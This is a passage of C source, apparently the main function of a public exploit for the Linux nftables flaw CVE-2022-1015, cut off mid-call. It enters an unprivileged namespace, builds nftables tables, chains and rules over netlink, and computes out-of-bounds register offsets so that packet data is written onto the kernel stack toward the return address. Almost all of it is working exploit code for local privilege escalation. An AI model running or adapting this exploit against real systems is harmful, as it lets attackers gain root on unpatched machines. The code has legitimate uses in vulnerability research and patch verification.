Function main

CVE-2022-1015/exploit/exploit.c:427–537

}

int main(int argc, char** argv, char** envp)
{
// 1. initialize
// 1-1. unshare - namespace
    if (argc < 2) {
        puts("[+] Dropping into network namespace");
        
        // We're too lazy to perform uid mapping and such.
        char* new_argv[] = {
            "/usr/bin/unshare",
            "-Urn",
            argv[0],
            "EXPLOIT",
            NULL
        };

        execve(new_argv[0], new_argv, envp);
        puts("Couldn't start unshare wrapper..");
        exit(EXIT_FAILURE);
    }

    // I'm too lazy to talk to NETLINK_ROUTE..
    system("ip link set dev lo up");
// 1-2. setup netlink & nftables
    struct mnl_socket* nl = mnl_socket_open(NETLINK_NETFILTER);

    if (mnl_socket_bind(nl, 0, MNL_SOCKET_AUTOPID) < 0) {
        perror("[-] mnl_socket_bind");
        puts("[-] Are you sure you have CAP_NET_ADMIN?..");
        exit(EXIT_FAILURE);
    }
    int seq = time(NULL);
    int err;
// 1-3. create rule to get specific packet (specified port 9999 & MAGIC value)
    char *table_name = "exploit_table", *base_chain_name = "base_chain", *aux_chain_name = "aux_chain";
    // create base_chain
    setup_nftables(nl, table_name, base_chain_name, &seq);
    // create auxilitary chain
    if (create_chain(nl, table_name, aux_chain_name, NFPROTO_IPV4, NULL, &seq, NULL)) 
        error("Failed creating auxiliary chain");
    printf("[+] Created auxiliary chain %s\n", aux_chain_name);
    // base_chain rule
    if (create_base_chain_rule(nl, table_name, base_chain_name, NFPROTO_IPV4, NULL, &seq)) 
        error("Failed creating base chain rule");
    puts("[+] Created base chain rule");
// 2. test if the kernel is vulnerable
// make a rule (latter use leak rule to replace it)   
    struct vuln_expr_params v;

// 2-1. offset 0xca and len 0xff is OOB (0xca * 4 = 0x328 ret_addr offset)  calculate overflow range
    if (calc_vuln_expr_params(&v, 0xca, 0x00, 0xff))
        error("[-] Something went horribly wrong...");
// 2-2. 创建rule: 把 packet 中 8~max_len 字节读取到偏移寄存器 (v.value-4)*4 处 (往栈上写数据)
    struct nftnl_rule* aux_rule = build_rule(table_name, aux_chain_name, NFPROTO_IPV4, NULL);
    rule_add_payload(aux_rule, NFT_PAYLOAD_INNER_HEADER, 8, v.max_len, v.value);

    err = send_batch_request(
        nl,